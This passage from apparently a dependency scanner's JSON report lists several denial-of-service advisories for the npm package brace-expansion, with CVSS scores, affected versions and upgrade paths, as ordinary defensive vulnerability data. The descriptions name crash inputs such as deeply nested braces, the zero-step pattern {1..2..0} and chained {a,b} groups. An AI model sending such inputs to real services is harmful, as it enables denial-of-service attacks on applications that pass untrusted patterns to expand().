"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
